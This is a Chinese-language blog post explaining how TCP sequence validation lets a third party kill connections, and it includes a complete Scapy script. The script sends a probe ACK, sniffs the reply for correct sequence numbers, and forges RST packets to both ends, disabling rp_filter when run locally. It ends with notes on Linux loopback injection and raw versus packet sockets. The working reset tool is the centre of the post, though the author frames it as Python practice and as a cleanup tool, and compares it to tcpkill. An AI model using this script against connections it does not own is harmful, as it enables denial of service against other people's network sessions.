在任意位置Reset掉任意的TCP連線
漫漫長夜又要降臨…黑夜裡,我不敢點燈,復明日,陽光下,我不敢睜眼。
這篇文章完全來自於我在解決另一個問題是一個突然的想法。所以並沒有什麼前因後果。
我本來是想模擬一個TCP接收端對收到資料包的確認,採用了Scapy這個簡單的工具,然而折騰了大半天沒有順利搞定。其實我是不怎麼懂Python的,折騰了大半天之後,竟然對Python產生了興趣,正好旁邊有人碰到了TCP連線被莫名Reset掉的案例,借這個樓,就想寫一個能把任意TCP連線給Reset掉的小程式,主要是為了用Python練一下手而已,熟悉一下Python快樂程式設計的過程,體驗一把樂趣。
折騰Scapy這件事的結果補充一下,本初的願望沒有達成,沒有完成探測擁塞控制行為的目的,反而學了一點Python,證實了我不會程式設計,但也不是一點都不會,我稍微會一點。
把任意的TCP連線給Reset掉是比較容易的,因為TCP在收到資料包時,對傳送者僅僅做以下簡單的校驗:
- 五元組校驗;
- 校驗和檢測;
- 序列號校驗。
這是非常鬆散的校驗機制!此外,我們知道TCP是一個端到端的傳輸協議,這意味著它無法控制資料包在經由網路鏈路時的任何事件。於是乎以下的機制就是一個不得已的必須機制,而恰恰是該機制非常容易被利用,使得一個TCP連線非常容易被旁路幹掉!該機制就是:
- TCP接收到一個莫名其妙的亂序報文時,必須立即回覆一個攜帶正確序列號和確認號的ACK報文!
我們核對一下Linux TCP實現在收到報文時的校驗函式tcp_validate_incoming:
於是乎,為了能讓一個TCP端正確處理Reset報文,就必須可以通過 序列號校驗, 為了能獲取 正確的序列號, 可以用以上的機制給TCP其中一端傳送一個 任意序列號的報文,如果你堵在兩端的必經之路上,那就可以收到 正確的序列號報文 了。
其實本文的題目中,“在任意位置” 說的並不嚴謹,如果你猜不到正確的序列號,需要傳送探測資料報文的話,那麼想Reset掉連線必須有一個前提,即你必須能抓獲這個探測包的回覆報文,因為正確的資訊都在這個回覆報文裡。然而如果你並沒有將這個TCP殺手部署的連線的必經之路上,就不能保證回覆的報文一定被抓取到。不管怎麼樣,相信辦法還是有的。
下面是一個原理圖:
是不是非常簡單的呢?是的!
這個小工具要是做出來也是蠻有用的,畢竟TCP不會想原始的RFC793裡的狀態機那麼 閉環,有時真的是對端早就陣亡了,本端還會有一些TCP遺體,要想除掉它們,這個工具就比較有用了。此外,偉大的防火城牆最初不也是採用了這種方案雙邊Reset連線嗎?
下面是我用Python練手的一個程式碼,可以完成上述原理圖裡的操作:
#!/usr/bin/python
import sys
import os
import thread
import time
import signal
from scapy.all import *
# 五元組的源IP地址,如果在其中一端執行,則為該端的IP地址
# 注意,源和目標為任意方向,不必以建立連線的主動和被動來區分。
src = sys.argv[1]
# 五元組的目標IP
dst = sys.argv[2]
# 和源IP對應的源埠
sport = sys.argv[3]
# 和目標IP對應的目標埠
dport = sys.argv[4]
local = int(sys.argv[5])
flt = "dst host " + src + " and dst port " + sport + " and src host " + dst + " and src port " + dport
def signal_handler(signal, frame):
os._exit(0)
def printrecv(pktdata):
if TCP in pktdata and pktdata[TCP]:
seqno = pktdata[TCP].ack
ackno = pktdata[TCP].seq
if local == 1:
# 如果是在本機操作,則需要把lo的rp_filter關閉,這是因為構造的Reset是被灌入到loopback網絡卡的。
all_rp = os.popen('cat /proc/sys/net/ipv4/conf/all/rp_filter').read()
lo_rp = os.popen('cat /proc/sys/net/ipv4/conf/lo/rp_filter').read()
os.popen('sysctl -w net.ipv4.conf.all.rp_filter=0')
os.popen('sysctl -w net.ipv4.conf.lo.rp_filter=0')
# 為了防止tcp_v4_rcv裡面的PKT_HOST型別檢查失敗,強制一個MAC地址
sendp(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0)
os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp)
os.popen('sysctl -w net.ipv4.conf.lo.rp_filter='+lo_rp)
else:
send(IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), verbose = 0)
send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "R", seq=seqno), verbose = 0)
os._exit(0)
def recv_packet(threadName, delay):
# 抓取探測包的返回包,該返回包攜帶了正確的seq和ack
sniff(prn = printrecv, store = 0, filter = flt)
if __name__ == '__main__':
signal.signal(signal.SIGINT, signal_handler)
# 建立抓包執行緒
thread.start_new_thread(recv_packet, ("Thread-2", 4, ))
time.sleep(1) # 等待抓包執行緒就緒後傳送探測包
send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "A"), verbose = 0)
while 1:
pass # 空轉,不是好方法!
這個程式碼僅僅是為了練習Python,其實有一個現成的殺TCP連線的工具,叫做tcpkill,它的Wiki在:https://en.wikipedia.org/wiki/Tcpkill
和tcpkill相比,我的這個比較low,但我沒用過tcpkill,不曉得它有沒有對待靜默連線先探測的這個功能,請在使用前務必研究清楚。
現在,我來說一下做這個小程式時踩到的一些坑吧,如果對Linux的IP實現不熟悉,這些坑很難填平,當然這對於我來講,並不是什麼事。
- 構造報文的loopback注入問題
如果在本機來殺一條本機的連線,那麼我們抓到探測報文的返回報文後,就可以構造Reset報文了,這看似簡單,但問題是這個構造的Reset如何注入到本機的TCP端。
Python的Scapy send/sendp均是用packet套接字來發送構造的RAW報文的,packet套接字必須注入到loopback網絡卡才能環回到本地TCP/IP協議棧,然而loopback接收的這個構造的報文源IP卻是遠端的TCP端點IP地址,這在loopback開啟了rp_filter的情況下會無法通過驗證的,即便是loopback的rp_filter關閉,還有一個all.rp_filter,系統在做validate source的時候,是取的二者之間的大值,即只要有一個開啟,就會開啟rp驗證,所以在Python指令碼中需要將二者全部關閉。
- 目標MAC地址問題
使用send傳送packet資料包會嘗試繫結一個傳送介面,然而目標地址就是本機的物理網絡卡的地址。構造報文是不可能通過物理網絡卡傳送到wire上去的,而是會經由loopback環回到本地,然而此時必須指定一個目標MAC地址,否則將會取廣播地址,而這個會在tcp_v4_rcv函式的開始,校驗出錯:
int tcp_v4_rcv(struct sk_buff *skb)
{
const struct iphdr *iph;
const struct tcphdr *th;
struct sock *sk;
int ret;
struct net *net = dev_net(skb->dev);
// 如果是廣播MAC,type將不會是HOST
if (skb->pkt_type != PACKET_HOST)
goto discard_it;
- RAW套接字和Packet套接字
起初我一直以為Scapy是通過RAW套接字傳送資料包的,後來strace了一下發現是通過Packet套接字傳送的。不過這裡可以簡單解釋一下二者的區別。
- Packet套接字
需要關聯到一個特定的網絡卡直接傳送,無需經過路由查詢和地址解析。這是顯然的,路由查詢的目的無非也就是定位到一個網絡卡,現在網絡卡已經有了,直接傳送即可,至於發到了哪裡,能不能到達目的地,聽天由命了。 - RAW套接字
這種RAW套接字傳送的報文是需要經過路由查詢的,只是說IP頭以及IP上層的協議以及資料可以自己構造。
Packet套接字非常直接和簡單,這裡不多說。
現在我來就著一個問題再來解釋一下一個關於RAW套接字的問題。
既然在收報文的時候需要validate源地址的合理性,那麼RAW套接字在傳送報文的時候,路由邏輯是不是也需要validate一下源地址的合理性呢?畢竟RAW套接字的IP頭是可以自行構造的,顯然源地址也可以構造。
答案是需要看該RAW套接字的IP_HDRINCL socket選項有沒有設定。
- 如果設定了IP_HDRINCL選項
繞過source validate邏輯,即構造的IP源地址可以是非本機地址。 - 如果沒有設定IP_HDRINCL選項
忽略構造的IP源地址,以路由查詢邏輯動態確定IP源地址。
嗯,這是我總結出的一個非常簡單的解釋。
浙江溫州皮鞋溼,下雨進水不會胖!